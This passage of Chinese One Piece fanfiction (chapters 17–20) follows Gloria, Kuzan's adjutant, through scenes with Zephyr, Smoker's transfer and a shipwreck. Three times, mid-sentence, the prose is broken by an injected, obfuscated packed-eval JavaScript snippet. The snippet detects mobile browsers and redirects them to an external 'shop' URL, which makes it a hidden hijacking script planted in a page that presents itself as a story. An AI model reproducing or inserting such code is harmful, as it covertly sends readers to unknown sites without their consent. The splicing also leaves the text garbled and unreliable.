既然波鲁萨利诺一直呆在医院花园里，想必也是担心斯托洛贝尔中将的，要不然爱好摸鱼的他不可能大夜晚还在这里。 “病房可不缺老夫这么个人呢~” 波鲁萨利诺摆摆手算是道别，双手插兜就走出医院大门，然后金光一闪，人就消失在歌莉娅眼前，也不知道急着干嘛去。 17.第 17 章 * 次日，歌莉娅如常的从公寓狂奔到海军本部，再次踩点打卡成功，打完卡她就绕到位处本部后巷的咖啡店打包了双人份的咖啡和早餐。 当她再次回来本部大门时发现不知道为什么门口站了两排士兵，似乎在列队等待欢迎谁一样，战国元帅也正在台阶最高处。 歌莉娅可不敢拎着咖啡在战国元帅面前大摇大摆走进去，于是只好熟门熟路地来到侧面一处围墙外，这处围墙边正好有一颗茂密的榕树，她借助树干一蹬轻轻松松就越过墙头，稳稳地落在草地。 只是刚落地一道劲风向她袭来，她凭借战斗本能堪堪避过遒劲的拳头，下意识捏紧拳头想要回击，结果猛地抬头看到的却是熟悉的面孔，身体瞬间怔住。 “泽法老师！你干什么呢！” 泽法收回拳头，覆盖在手臂上的武装色渐渐褪去，没有回答歌莉娅的话，反倒恨铁不成钢道，“你怎么还没有改掉翻墙这个臭毛病。” 想当年歌莉娅还在海军学校，就非常喜欢在自由练习的时候偷跑到外面街上溜达，曾无数次被泽法堵在围墙上，但每次被捉住后依旧屡教不改，下次还敢，像足不听人话的卡普。 歌莉娅摆正了一下袋子里差点掀翻的咖啡杯才抬头和泽法对视，“这边方便。泽法老师才是，怎么又在这里蹲守？” “因为每一届都有不听话的臭小子喜欢偷溜出去。”说着泽法上下扫了歌莉娅一眼，“又翘班出去了？” 这个位置是最方便翻墙的地方，泽法经常在这里休息都守株待兔到不少海军新兵，当然也蹲过歌莉娅无数次。 “咳咳！没有翘班！我只是出去补充一点能量而已！”歌莉娅一瞬间心虚但很快又理直气壮起来，泽法现在可不是她的教官，于是她大胆地晃了晃手上的咖啡，“要来一杯吗，泽法老师？” 泽法摆摆手，重新走回树荫下席地而坐，他拿起草地上的酒瓶，“咖啡不适合我，我有这个。” 歌莉娅看到酒瓶皱了皱眉，她想起来泽法的哮喘病。前阵子她还听到战国还对卡普抱怨泽法越发不注意身体，体检报告完全不能看，明明是他们之中年纪最小的一个。 “还是少喝点吧，泽法老师，你今年的体检报告都亮红灯了。” “谁跟你多嘴的？卡普？那家伙嘴还是这么碎……” 尽管泽法脸上的神情表现得很不悦，但歌莉娅走过去还是很轻易就从泽法手上夺走那瓶酒，她将咖啡作为替代塞到对方手里。 泽法皱着眉头看向手中的咖啡，仿佛在说你就用这玩意换我的雪莉酒，但却没有拒绝歌莉娅的咖啡，他的大掌轻轻摁在歌莉娅的头顶揉了揉，敷衍道，“行行行，听你的。” 歌莉娅一听就知道泽法在敷衍自己，可是完全无可奈何，泽法这么固执的人能听她说那么一两句就不错了。 她垂下眼眸瞥视到半截烟盒从泽法口袋边缘露出——哮喘病还又烟又酒，身体好才奇怪，身体倍儿棒的卡普就从来不抽烟不喝酒。 停顿了几秒后，歌莉娅倏忽抬起头朝泽法说，“泽法老师，我要走了，先回去干活了！” 说完好像有什么洪水猛兽在她后面追着一样一口气就跑出老远。 泽法疑惑不解，直到他下意识摸向口袋想要抽一根的时候才发现口袋里的烟盒不知道什么时候不翼而飞了。 他好气又好笑，“这丫头！” …… 办公楼走廊静悄悄的，歌莉娅快步跑进去的脚步声尤为明显，在安静的环境下她下意识放轻脚步快速推门走进办公室。 这个点库赞估计还没有来，她可以悠闲地先吃早餐再开始工作。 结果没想到推开办公室的门刚走了几步就一脚被地板上的人形物体绊住，踉跄了一下整个人失去了平衡往前扑去。 歌莉娅下意识高举双手稳住手握住的咖啡和酒瓶以免破碎，手肘猛地磕在地板上发出一声响亮的碰撞声，胸口更是撞上硬邦邦的胸膛，让她呼吸一滞，差点没有喘上气。 “唔！” 睡得正香的库赞被突如其来的重击击中发出一声闷哼，他慢吞吞地拉开头上的眼罩，映入瞳孔内的便是一片火红色——歌莉娅耀眼的长发正铺散在他的胸前，有几缕调皮的发尾甚至正随着他胸膛的起伏轻轻蹭着，在他的下巴留下细碎的痒意，发丝的香气钻入鼻腔内。 他迷迷糊糊地下意识伸手抓起那缕长发，指尖忍不住捻了捻。 歌莉娅没有着急爬起来，等确认手上无论是咖啡还是雪莉酒都完好无缺终于松了一口气，她这才抬眼，只见库赞睫毛颤了颤，半张的眼眸里犹带着倦意和迷茫，手上还攥住自己一缕头发，似乎对搞不清现在什么状况。 她将手上的东西往地板一放，伸手将头发夺回来，掌心撑着地面就直起身子，跪坐在地面上，她无语地看着终于回过神来，但还躺在地面上摆烂的库赞。 “啊……这大清早的叫早服务未免太激烈了吧……”库赞慢半拍地一手揉着自己的脑袋，一手揉了自己的胸膛，忍不住抱怨。 堂堂大将什么时候这么脆弱了？ 歌莉娅没有说话，只是双手抱胸一味盯着库赞看，直到把库赞盯得发毛才收回视线。 她挽起衣袖看了一下手肘，果不其然淤青了一片，刚刚她压根没想起用武装色护一下。 没忍住用指尖摁了摁暗红色的痕迹，然后眉头一皱，马上发出吃痛的声音。 “请问青雉大将您为什么睡在这里呢？”随地大小睡已经发展到睡路中间了吗，太没有公德心了。 “啊……这个啊，回去太麻烦了，干脆直接在这里睡了。”库赞动作迟缓地从地板坐起身，视角余光留意到放在地面上的雪莉酒，抬手就将酒瓶拿起来。 他看一眼酒瓶子就想起来这是泽法老师最喜欢喝的酒。 “您就不能睡沙发上吗？一定要睡路中间——”歌莉娅说完才想起来办公室的沙发对库赞来说还是太短了，压根塞不下他这个身躯，对她来说倒是刚刚好，“好吧……请您下次睡角落可以吗？” 睡这里太碍事了。 “下次……”库赞打了个呵欠低声嘀咕着，“加班这次就够了。” “加班？你该不会加班把活都干完了？不是吧？” 耳目聪明的歌莉娅捕捉到库赞的小声抱怨，她猛地站起来小跑到办公桌前随手翻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16258094|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几份文件，这才发现库赞不止把七武海提名报告完成了，甚至把她开玩笑交给他说这两天要完成的预算也完成了。 她扭头瞪大眼眸盯着还在不停打呵欠的库赞，一时间只觉得对方被鬼上身了。 库赞揉着脖子从地板上站起来，扭头就看到歌莉娅奇怪的眼神，他嘴上没忍住调侃着，“啊啦啦～怎么了？是被帅气的我迷住了吗？” 闻言歌莉娅嘴角抽搐了一下，忍住翻白眼的冲动，“青雉大将，真正帅气的男人是不会问出这种话。” 她犀利地吐槽道，“怪不得您一直搭讪失败。” 库赞：“……喂喂，我好歹是你的上司。” 就不能给他留两分面子吗？而且到底是谁和歌莉娅说他一直搭讪失败的！海军里已经没有别的八卦可以说了吗？ “对喔，您还是我上司呢！”歌莉娅露出恍然大悟的表情，一手握拳击向掌心，湛蓝色的眸子锁定在库赞身上，她歪头望着对方，“你邀请我去约会是不是算职场潜规则，我可以去海军女性协会举报您吧，青雉大将？” 在她成为库赞副官后，对方已经不下十次邀请她去约会，当然她也能看出来库赞也就是那么随口一说，完全没有别的意思，要不然她早就重拳出击了。 “……饶了我吧，小姐！”库赞声音里带着被捉弄后的无奈，他完全拿歌莉娅没辙，“你要真举报，鹤女士肯定来找我麻烦的。” 歌莉娅抿住唇憋了两秒，终究还是没忍住笑出声，“噗呲——好吧，看着您昨天加班的份上……” 她弯腰将地板上的早餐袋拿起来，从里面取出咖啡，又指了指库赞手上还握着的雪莉酒，“为了奖励勤奋的您，选一样，你想喝哪个？” 她本来买两份咖啡早餐套餐本就打算给一份库赞，算是感谢对方没留下自己加班的，没想到意外地用咖啡和泽法交换了雪莉酒。 “大清早，来哪来的酒？” 虽然只要下属完成工作，库赞并不在乎对方是否在工作岗位，工作时间在干什么，但大清早就喝酒是不是太超过了？ “路上捡的。” 库赞：…… 哪条路还能捡到这种高级货雪莉酒，要不告诉他，他也去捡一下吧。 这时，办公室的门被敲响。 歌莉娅动作十分迅速地从库赞手上夺走雪莉酒，把雪莉酒和咖啡全部藏在办公桌后，又将地板上库赞的睡袋随手一卷扔到看不见的角落里去，最后才去将门打开。 等来者进入办公室时，室内又是一片齐整干净的模样，库赞正站在办公室中央揉着脸让自己清醒清醒。 “青雉大将，科尼少将来访。” 库赞摆摆手示意科尼随便坐，然后自己率先坐下，两条长腿随意伸展着，手掌搭在膝头上，眼皮蔫蔫地耸拉着，整个人透着提不起劲的倦意，但看似慵懒却暗藏着不容忽视的存在感。 “啊啦啦~怎么了，一大早这么怒气冲冲的？” 他抬起眼皮打量了一下眼前眉头拧成一团，眼底仿佛燃着两簇火的科尼，心里暗叹着麻烦。 “那个斯摩格！我是真的管不住了，这样的刺头不是我能管得住的！” 18.第 18 章 * 科尼胸口剧烈起伏着，额角的青筋突突跳，像是找到发泄出口般，他一口气将这阵子斯摩格干的好事说出来，最后总结道，“麻烦青雉大将把他调走吧！” 他实在消受不起斯摩格这样子的下属，不听指令几乎是斯摩格的常态。 刚开始斯摩格被调到自己麾下，他还是很高兴的，毕竟对方是泽法教的精英班毕业第二名，众所周知泽法教出来的学生无疑不是海军未来的顶梁柱，现在的三大将都是由他教授的，这含金量可想而知。 但他万万没想到斯摩格如此有性格，对正义有自己一套理解，行事喜欢先斩后奏，这一年来闹出无数的烂摊子，他已经给对方擦屁股擦累了。 他是找下属，不是找祖宗。 当然，科尼觉得相比接收那位第一名的同僚们，他已经幸福多了，毕竟他的同僚已经是前同僚了。 他状似不经意地瞥了一旁伫立的歌莉娅一眼——这位和斯摩格同期的第一名已经送走三任上司。 敢于接手歌莉娅，成为第四任上司的青雉大将绝对是个勇士。 库赞抬手将科尼递过来的申请报告翻开，里面详细记录着斯摩格的信息，他注意到上面记载对方立功记录，如果按照加入海军时间换算，可以说是相当惊人，然而记的过也几乎和立功记录持平…… 他视线停留在纸张上记载着海军编号的格子上，“啊啦啦，这位斯摩格应该和副官小姐是同期吧？” 海军编码是有命名规则的，斯摩格的编码除了最后两位数字外几乎和歌莉娅的相同，这表明两人是同期入伍的。 “对的。” 站在库赞身旁的歌莉娅也将库赞手中的报告一览无遗，她可算知道为什么斯摩格明明天天在海上漂还能一直是少佐的原因了，要知道出海随航可是攒军功升职的最快途径。 她是被穿小鞋，大部分时间摁在本部和文书打交道了，军功攒不了一点，斯摩格可不是。 “怪不得这么眼熟……原来是他啊。”库赞咕哝了一句，垂眸又将报告阅读了一遍，一边阅读他的指腹一边在纸张上摩挲着，似乎在思索什么，半响过后才再次抬头望向科尼少将，“报告我收下了，你先回去吧。” “嗯？”科尼没有理解库赞的意思，以为对方不同意将斯摩格调走，脸上一下子紧张起来，还想说什么努力一下，“但我真的——” 库赞抬手打断了科尼的话，然后歌莉娅往库赞抬起的手递过去一只签字笔，库赞看都不看就握住笔，流畅地在报告上签下自己的名字。 “我没说不同意。” 科尼听到库赞同意调走斯摩格，很快笑逐颜开地离开了。 歌莉娅下颌紧绷一脸正色坐在库赞对面，“青雉大将，您是想把斯摩格调过来吗？” 库赞的眼眸闪过一丝惊讶，“小姐为什么这么问？” “你不是想要的话，看这么久干嘛？你该不会要告诉我，你对他一见钟情了吧？” “咳咳咳！” 库赞正端着水杯往嘴边送，歌莉娅的话语让他的手腕猛地一抖，水杯随着他的动作晃动，液体溅在他的大腿上，裤管一下子被打湿了一大片，衣料上留下可疑的痕迹。 “副官小姐能别开这种玩笑吗？” 库赞喉间溢出极轻的笑，垂下眼帘轻轻叹了口气，眼底浮起几分无奈。 “行，那您忘掉我刚刚说的，我们重来一遍。”歌莉娅将长碎发撩到耳后，右手握拳放到嘴边装模作样地清清喉咙，“青雉大将不是慧眼识珠，一眼看出斯摩格是个好苗子吗？” 突然被歌莉娅小捧一下的库赞有点不习惯，他不自在地挠了挠下巴解释道，“……像这种在实习期就被退回去人事部的海兵可没有什么好去处。” 不是人人都像歌莉娅一样，有一个好爷爷，在档案留下这个标签后，可没有哪个本部军官愿意接收，这样子的话很可能就要往下走，下放到伟大航路支部，甚至是四海的支部去，度过实习期去那叫锻炼，现在实习期就被扔过去，那叫流放。 听到库赞的话，歌莉娅眉头也皱起来，“斯摩格……虽然有点小脾气，不过实力挺强的，还是个自然系能力者，只是那个科尼少将驾驭不住他而已。” 她不可能坐视老同学落个被打发去四海支部的下场，不管库赞怎么想，她先给对方刷刷好感总错不了。 库赞把申请报告递到歌莉娅面前，“先去把斯摩格的档案调过来挂我下面吧，应该——嗯？还有名额吧？” “没有。”歌莉娅现在对工作已经完全上手了，想都没想就回答，但她很快又提出解决方法，“前两天火烧山中将提出要增加人手。” 火烧山中将是库赞的直属下属，因此对方的申请报告会递交到这边先审批。 而且火烧山中将虽然样子长得比较凶恶，但却是海军本部出了名性格温和且包容，应该能包容斯摩格的小脾气。 “我晚点会去找火烧山聊聊的。” 库赞已经认出斯摩格来，他对斯摩格确实挺有好感。 说完，他拿起歌莉娅推过来的早餐开始慢慢吃起来，细嚼慢咽后他就站起身打算往外走，结果却感到阻力——回头一看，歌莉娅正揪住他衣服下摆。 “小姐，你这是干嘛？” “您该不会又要去摸鱼了吧？” 虽然库赞昨晚加班辛苦了，但歌莉娅可不会姑息库赞这种摸鱼的行径，加班是加班，上班是上班。 “……不是。”库赞被噎住了，没想到歌莉娅对他如此不信任，“我去开会。” 歌莉娅眯起眼，眼神锁定在库赞身上，“我并没有收到开会的通知。” 对上歌莉娅怀疑的目光，库赞不得不继续解释，“今天你来之前电话通知的，是关于斯托洛贝里的处罚。毕竟悬赏金八亿三千六百万贝利的海贼在送去推进城途中从他船上逃脱了。” 整条军舰的士兵被该海贼以及其同伙重创，就连斯托洛贝里本人也身受重伤，因此他们昨天才看到斯托洛贝里的军舰破损不堪，伤员流水般被抬下来。 歌莉娅顿了顿，蓦地想起昨晚在医院听到的消息，“斯托洛贝里中将好像昨晚才做完手术脱离危险期。” “对。”库赞停顿了一下，虽然他也觉得这样子挺没有人情味的，但只可惜海军的制度就摆在那里，就算如此还是会对斯托洛贝里进行处罚，“……不过处罚应该不会太重。” “嗯？” 歌莉娅愣了一下，高悬赏金的海贼在被送去推进城途中逃脱了，这可不是一件小事。特别是最近海军的威信力有所下降，这件事会对海军继续造成负面影响，说不定还会被严肃处理以儆效尤。 “波鲁萨利诺连夜出动，已经把那个海贼捉住，现在在回来的路上。” 库赞也没想到平时慢条斯理的波鲁萨利诺动作如此迅速，等战国元帅收到消息时，波鲁萨利诺已经将海贼重新捉回，这下战国元帅也不好对波鲁萨利诺的部下作出什么重罚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16258095|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 歌莉娅终于明白波鲁萨利诺昨晚匆忙离开到底去哪，她还以为对方还真的只会摸鱼呢，原来是赶着去兜底了。 赶在消息扩散前将海贼及时捉回来，对斯托洛贝里中将的处罚也能轻一点。 库赞垂眸盯着紧攥着自己衣角的修长手指，“所以……可以松手了吧，副官小姐？” “当然，一路顺风，青雉大将，记得开完会早点回来。” 歌莉娅松开手，假装刚刚对库赞的不信任根本不存在，面带职业假笑“提醒”着对方别开完会又去摸鱼。 “……”听出歌莉娅威胁的库赞顿了顿，嘴角扯了扯权当回答，假装自己没有听到，并且打算开完会找个对方绝对找不到的地方睡觉。 …… 夏日的燥热逐渐消去，夹裹着热浪的夏风也开始变得温和起来，拂过人体时带来一丝丝凉意，这个天气站在树荫底下围观库赞对新兵们的毒打倒是不错的消遣。 歌莉娅抱着库赞的外套靠在树干边看着新兵们前赴后继地向库赞挑战，为了公平起见库赞并没有使用果实能力，但光凭体术就把新兵们打得抱头乱窜的。 她垂下眼帘叹了口气，有点不忍直视。 泽法则站在歌莉娅旁边双手抱胸恨铁不成钢，“这群兔崽子还是训练太少了，都快毕业了还这个样子，太难看了！” 尽管库赞手下留情，但依旧没有一个人能坚持超过一分钟。 歌莉娅听到泽法的话无奈耸耸肩没有搭话。 每年海军学校这个时候会邀请大将过来给毕业生进行指导，一年前她也是这样子挨骂的，只是去年要邀请的大将是波鲁萨利诺，但波鲁萨利诺可没有库赞要脸，不使用果实能力，他们人均都被波鲁萨利诺的光速踢飞过。 场上，库赞似乎觉得一对一太欺负人了，他挠挠头干脆摆摆手让新兵们全部一起上。 新兵们再不努力一点，事后估计要被泽法老师往死里训，这个他太有经验了。 随着时间推移，训练场上的战斗快进入尾声，场上只剩下蓝发少女和绿发男人站着苦苦坚持，其他人早被清理出战斗场地。 随着男人挥舞手臂的动作，一株株藤蔓骤然冲破水泥地面如潮水般朝库赞涌去，训练场上一时间被汹涌的藤蔓所占满，藤蔓死死缠住库赞右臂时，少女趁此机会纵身跃起手持长剑凌厉地劈向库赞…… 然而这些看似坚韧的藤蔓根本困不住库赞，只见他手掌猛地发力，那些藤蔓便寸寸断裂，他顺势抓起藤蔓根茎狠狠超面前的男人砸去，男人猝不及防被重重击中，身体瞬间往后飞去，不偏不倚将少女砸倒在地，两人在一同狼狈地被砸在地上。 歌莉娅能看出来两人已经很努力了，但还是逃不过落败的下场，毕竟对手是怪物一般的大将。 她不着痕迹地瞥了一眼身旁的泽法，现在就看泽法老师是否满意了。 “哼，也就艾恩和宾兹稍微像话。”泽法轻哼了一声，对这场战斗很是不满意，等库赞晃悠过来的时候，他厉声道，“你小子没有认真打吧？” 库赞打了个呵欠，懒洋洋地盘腿坐下，“啊啦啦……泽法老师，别对年轻人这么苛刻嘛。” 今天的运动量对于他来说远超日常，他无精打采地歪靠在树干上，脑袋垂落的角度恰好抵在也斜靠在树干上的歌莉娅大腿边，斑驳的日光通过树影投在他的脸上和身上，他干脆将头顶的眼罩拉下挡住眼睛，无视掉不远处泽法的怒吼声。 好困啊…… 19.第 19 章 “就这个样子，昨晚居然还有脸偷溜出去玩！？”泽法大步走到躺得横七竖八的众人面前训斥道，“今天所有人都给我加训！” 艾恩挣扎着从地面站起身，一板一眼地给泽法承认错误，并且会在泽法加训的基础上继续加训。 闻言宾兹一个鲤鱼打滚，生怕被艾恩比下去，大声承诺自己也会继续加训，甚至比艾恩还多。 歌莉娅看着两人争先抢后地在泽法面前表现，嘴角抽搐着，“现在的学弟学妹这么卷的吗？” 当年别说是加训，正常训练她都想逃训，加什么训她又不是疯了，差不多就行了。 库赞瞥了一眼歌莉娅提醒道，“毕业考试的考官可是高级军官，万一输得很惨可是很丢脸的。”说不定还会成为黑历史被提醒一辈子。 “嗯？”歌莉娅愣了一下才反应过来，不理解歪头，“啊，为什么会输？不是随随便便就能赢吗？考官也没有多强吧？”考官能成为考官大部分都是因为资历吧？ 每年的毕业考试都相差无几，只是各种考试的最后肯定会有考官对战考核，考官对学生的战斗综合素质进行评分。 她已经记不起来自己的考官是哪位海军军官了，当初好像也没花多长时间就完成考试，她只记得考完她去后街吃了一顿美味烤串。 嗯，还是让斯摩格请客的。 库赞：“……” 他相信能选出来的考官铁定不是随随便便就能让学生赢的，只是在被卡普先生开过小灶的歌莉娅面前不够看罢了。 “副官小姐你——嘛，算了。” 歌莉娅也没指望库赞回答什么，她将怀里库赞的外套铺在草地上，随即靠着树干坐下来。 她垂下眼帘，纤长的睫毛扇动了几下，跟着打了个呵欠。 怪库赞传染，害她也困了，特别是坐在库赞身边温度适宜就更困了。 然而在她挪动身体企图让自己坐得舒服点的时候感受腰间被什么硌着，伸手一摸发现是被喝了四分之一的雪莉酒。 歌莉娅眨了眨眼眸，思考了片刻就拧开瓶塞，瞬间酒香四溢，海盐混杂着杏仁的味道钻入鼻腔里。 本来已经准备入睡的库赞闻到香气也撩起眼罩一探究竟，正好看到歌莉娅在往酒杯里倒酒，只见对方朝他抿唇一笑，举起酒杯问道，“要喝吗？” 库赞眼皮懒懒地垂着，虽然脸上没什么表情，但内心满是吐槽的冲动。 喂喂，这是泽法老师的酒，不是你的酒吧，为什么一副主人家招待的样子？ 然而内心吐槽归吐槽，他仅犹豫了一秒就接过歌莉娅手中的酒杯，“喝。”指尖微微一动，酒杯外就覆上一层冰霜。 歌莉娅很理直气壮地从库赞手里取走已经被冰镇好的雪莉酒，又重新塞了一杯倒得满满的放倒库赞手里，示意对方继续努力制冷。 “啊啦啦……泽法老师回来肯定要骂人……” 库赞用怕麻烦的腔调说着，但他可没有停下手中的动作，将雪莉酒冰镇好后他大口喝着酒，香甜的味道流入喉咙时忍不住发出舒畅的声音。 歌莉娅眯着眼睛抿了一口，她很少在白天喝酒，不过感觉倒不赖，起码酒精让她的脑子清醒了一点，不再昏昏欲睡。 她回味着嘴里的味道又抿了一口，他给自己倒的同时瞧着库赞的杯子已经空了一半又给对方倒满，“赶紧喝。” 库赞用不理解的目光看着歌莉娅，“？怎——” 歌莉娅扶住库赞的手将酒杯推到他的嘴边，“别说话，喝酒！” 她秉持着他们多喝点，泽法老师就少喝点的想法又畅快地喝下大半杯酒精。 歌莉娅的动作幅度有点大，杯中的酒液洒出几滴在库赞的嘴角，库赞下意识伸出舌尖将嘴边的酒液卷入嘴中，然后顺着歌莉娅的意思又大口喝下半杯雪莉酒。 歌莉娅又重新分别给自己和库赞的杯子续满，她摇晃着手中的酒瓶，这时酒瓶里的雪莉酒已经一滴都不剩了。 她软软地靠在树干上眯着眼睛盯着头顶上茂密的树叶，阳光正穿过树叶的间隙洒在她的脸上，让她不得不收回仰视的视线，“感觉好久没喝酒了……” 对于她来说，酒精更多是她释放压力的途径，所以她才喜欢下班去喝酒。 久违尝到酒精的滋味，她仰头一口气将杯中的雪莉酒喝光，将空杯随手放在草地上，红晕随即爬上她的脸颊，在白皙的皮肤上更加鲜明又热烈。 库赞的视线划过在歌莉娅脸颊两侧的绯色上时顿了顿，他伸手接过歌莉娅手中的空酒瓶，“副官小姐，你还清醒吧？” 不怪他忧心，实在是歌莉娅脸上酒气染出来的红潮过于明显，除了上次在烤肉店他曾见过对方喝过低度数的啤酒外就没有见过她喝酒，所以他才有此一问。 “清醒，十分清醒。”歌莉娅眼尾轻轻一挑，斜斜地横了库赞一眼，眼波流动泛着几分微醺，“甚至还能喝几杯呢~”她清楚自己的酒量，只是她喝酒容易上脸而已，稍微高度数的酒精就能让她满脸通红，实际上离喝醉还远着呢。 就那么一瓶酒实在不够喝，歌莉娅的嘴巴已经开始有点寂寞了，于是她紧接着从树干的另一侧取出早已准备好的餐篮，“吃点什么吗？” “……”库赞抿着唇，喉结滚了滚，没答话。 "你要吃什么？" 见库赞没有反应，歌莉娅又重新问了一遍，并且将准备好的食物一样样往外掏，难得不用坐办公室出来放风，她准备了数量不少的食物来野餐。 嗯，刷库赞的是饭卡。 “啊……随便吧。”库赞好半响才回过神来，他匆忙将目光从歌莉娅脸上移到训练场上，假装自己在认真观察着学生们的训练，歌莉娅往他手里塞了什么食物他也没看就往嘴里送。 等泽法安排完学生们的加训后就看到等候的两人已经把他剩余的雪莉酒全喝光，并且还一副郊游野餐的架势，食物摆满了树荫底下的草地。 “你们这是上我这野餐来了吗？”泽法没好气地瞥了两人一眼，径直盘腿坐在他们身旁，他捡起地上的空酒瓶，“还把我雪莉酒喝完了！？” 泽法毫不客气的拿起放置炸鸡的盘子，一边塞嘴里一边说道，“肯定是你的主意吧，歌莉娅？上次把我的酒顺走还不够吗？” “你在说什么啊，泽法老师？”歌莉娅眨着眼睛满脸无辜，假装听不懂，轻轻拽住泽法的衣角摇晃了一下，“要来点炸鱼吗？” “……”泽法原本还绷着的脸也被歌莉娅撒娇的模样闹得没脾气了，他扭头将矛头转向一旁的库赞，“你就这样子看着她喝我的酒？” 大口吃着炸鸡的库赞瞬间僵住了，想不明白这火怎么烧他这里来，这还有他的事吗？ 库赞：我吗.JPG “你小子也喝了吧！？” “……嘛，泽法老师……” 库赞打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16273922|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着哈哈，突然想起来还躺在他办公室抽屉——说中是在路上捡的雪莉酒，那该不会也是泽法老师的吧？ 等等，这不是他干的啊，他干嘛要心虚！ 他瞥了一眼真正的罪魁祸首正咬着炸鸡幸灾乐祸地看着自己，看到自己瞥视她还毫不心虚对着咧嘴笑了笑。 啊啦啦，真是的…… * 晴空万里，澄澈的天空难得一片云层都没有，是个出海的好日子。 歌莉娅和泽法面对面坐在军舰二层甲板上，面前的木桌摆放着简单的酒具，琥珀色的酒液在瓶中随着船身轻轻晃动着，漾起一圈圈波纹。 她深吸一口气，感受着大自然的一切。 抬眼望去是无边无际的碧海，侧耳倾听是海浪拍打的声音，这样的景致和音律成了最好的下酒菜，没有比这更惬意的饮酒时光。 她已经好长一段时间没出海了，每天被困于马林梵多处理从不见减少的公文中，整个人都烦躁不已，这次公差可以说是散心放松之旅，最近心里就少骂库赞几句吧。 歌莉娅抬手拿起酒瓶给泽法面前的酒杯倒了半杯酒就停下来不再继续。 “这是我的酒吧？才给我倒半杯，你这丫头未免太小气……” 歌莉娅将酒瓶放到自己身旁，坚决不给泽法机会再倒酒，故意放低声音撒娇道，“我爱喝，你就让让我行嘛~” 她知道泽法对自己撒娇根本没有办法，果不其然泽法撇撇嘴没再说话，只是端起酒杯抿了一口。 歌莉娅偷笑了一下，扭头望向一层。 她探出脑袋，双手交叠放在围栏上，下巴压在手背上围观着一层甲板的新兵日常训练，里面有不少新兵身上还扎着绷带，只是谁都没有叫苦，而是咬着牙和平日一样开展训练。 明明昨天才经历一场苦战，今天又得像没事人一样训练，真是命苦呢…… 歌莉娅摇头同情他们一分钟，然后庆幸自己现在不在泽法手下，要不然估计得累死。 泽法看歌莉娅心有余悸的样子轻哼一声。 他哪能不知道她在想什么，实在对歌莉娅恨铁不成钢，明明拥有战斗天赋，但却不肯多努力一点，脑子里一天天想着退休，做什么梦呢！他六十几岁还没有退休，哪里轮得上她？ 于是越想越气的泽法，沉声喊了对方一句，“歌莉娅！” “嗯？” “你也给我下去一起训练！” “欸！”歌莉娅猛地从围栏上蹦起来，眼眸瞪得圆圆的，双手在胸前挥舞了几下，“等、等等！泽法老师！我只是搭个便船移送物品而已！”她可是不是新兵啊，训练怎么有她的份? "不训练啊？那就让我检验一下你这段时间有没有松懈吧！"说罢，泽法转动了一下手腕，从椅子上站起身大步朝歌莉娅走来。 “我训练！我下去跟着训练还不行吗！” 歌莉娅苦着脸直接翻过围栏跳下去一层甲板，吓了在训练的新兵们一跳。 和泽法老师对打还是做常规训练哪个比较好，她还是分得清楚的。然而泽法却还是不肯放过歌莉娅，于是明明只是单纯送个机密文件的悠闲工作硬是变成被训练得累成狗的特训之旅。 …… 一成不变的训练的日常在一天夜里被打破。 刺耳的警报声打破了黑夜的宁静，整艘军舰如同遭遇到猛击一般剧烈的震动几下，睡梦中的众人纷纷被惊醒。 20.第 20 章 船舱外，桅杆上的帆布被吹得哗啦啦作响，仿佛要将帆布撕裂般，汹涌的巨浪狠狠地拍打在甲板上，原本被固定好的物料也被卷进海里，更别提随着船身摇晃着的众人，每个人都死死抓住附近旁边能抓住的东西。 原来不知何时，军舰误入了一片暴风雨区域，舰身已在海面漩涡边缘，被搅得剧烈旋转，好在舵手死死控制住失控的舵轮才没有直接撞入漩涡中，在剧烈晃动中竭力保持着平衡，试图从中寻求驶出漩涡的一丝生机。 没见识过伟大航路天气凶险的新兵们已经乱作一团，泽法正竭力大吼着，他的眼睛死死盯着海面，精准地判断情况下达指令，他的吼声没有丝毫慌乱地被清晰地传到每个人耳边，渐渐地新兵们开始镇定下来找回节奏，严格按着泽法的指令执行。 歌莉娅扶着墙体快速奔出船舱后眼明手快地拽住一个马上要坠入海面的新兵，只是狂风暴雨过于猛烈，又一个巨浪拍打在舰身上，舰身倾斜成一个可怕的角度，让她的身体也瞬间失去平衡，两人一同坠入海面。 下一秒，冰冷刺骨的海水汹涌而至，将两人一同吞没。 …… 歌莉娅喘着气一手环住少女的腰部游到某个不知名的小岛上，一步步缓缓走上海滩她就再也支撑不住脱力将少女砸在沙滩上。 她瞥视了胸膛还有起伏但还没有苏醒的少女，紧接着整个人毫无形象地脱力地躺在沙滩上，额间的碎发被海水黏在皮肤上，她随手抹了一把脸，将还在滴水的发丝通通撩到额头上，大口喘息着。 “……谢谢。” 